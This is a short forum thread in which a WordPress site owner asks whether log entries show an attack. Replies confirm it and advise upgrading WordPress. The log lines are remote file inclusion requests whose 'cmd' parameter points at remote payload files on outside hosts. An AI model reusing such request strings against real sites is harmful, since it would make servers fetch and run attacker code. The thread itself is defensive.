Home
Features
Members
F.A.Q.
Download
Guide
Blog
Forums

Woopra Forums » Troubleshooting

[closed]

hackers or not?

(6 posts)
  • Started 5 months ago by wangjel
  • Latest reply from wangjel
  • This topic is closed
  • This topic is not a support question

Tags:

  • wangjel
    Member

    i find this today in the security log
    72.36.175.146 ip addres by whois: Layered Technologies, Inc.

    details: libwww-perl/5.811
    /?p=187/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=http://viset.co.uk/finance/administrator/components/com_letterman/includes/temp.txt?

    and this one
    /?p=187/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=http://202.143.148.58/media/temp.txt?

    Posted 5 months ago #

  • pmk
    Member

    Yes, its a hacking attempt

    http://securitydot.net/xpl/exploits/vulnerabilities/articles/963/exploit.html

    Posted 5 months ago #

  • wangjel
    Member

    and then someone can explain the ip address is why belong to layeredtechnologies?

    please

    Posted 5 months ago #

  • l3st
    Member

    Because it's someone who purchased a server from Layered Technologies.

    Posted 5 months ago #

  • Lorelle VanFossen
    Moderator

    Layered Technologies is the number two web host reseller in the world, with millions and millions of sites hosted through a variety of resellers. While they are serious about protecting their users and clients, they are not the instigators of the hacking attempt. As l3st said, someone is accessing through a Layered Technologies server, just like an obscene phone caller uses a phone to place an illegal phone call. It's not the phone companies fault.

    As a WordPress user, it is critically important that you upgrade WordPress as soon as mandatory security releases are announced in order to avoid hackers and risk security vulnerabilities, just as you would with any software.

    Good luck and I hope that this issue has been cleared up.

    Posted 5 months ago #

  • wangjel
    Member

    yes it is cleared
    it was an upgraded wordpress,

    Posted 5 months ago #

RSS feed for this topic

Topic Closed

This topic has been closed to new replies.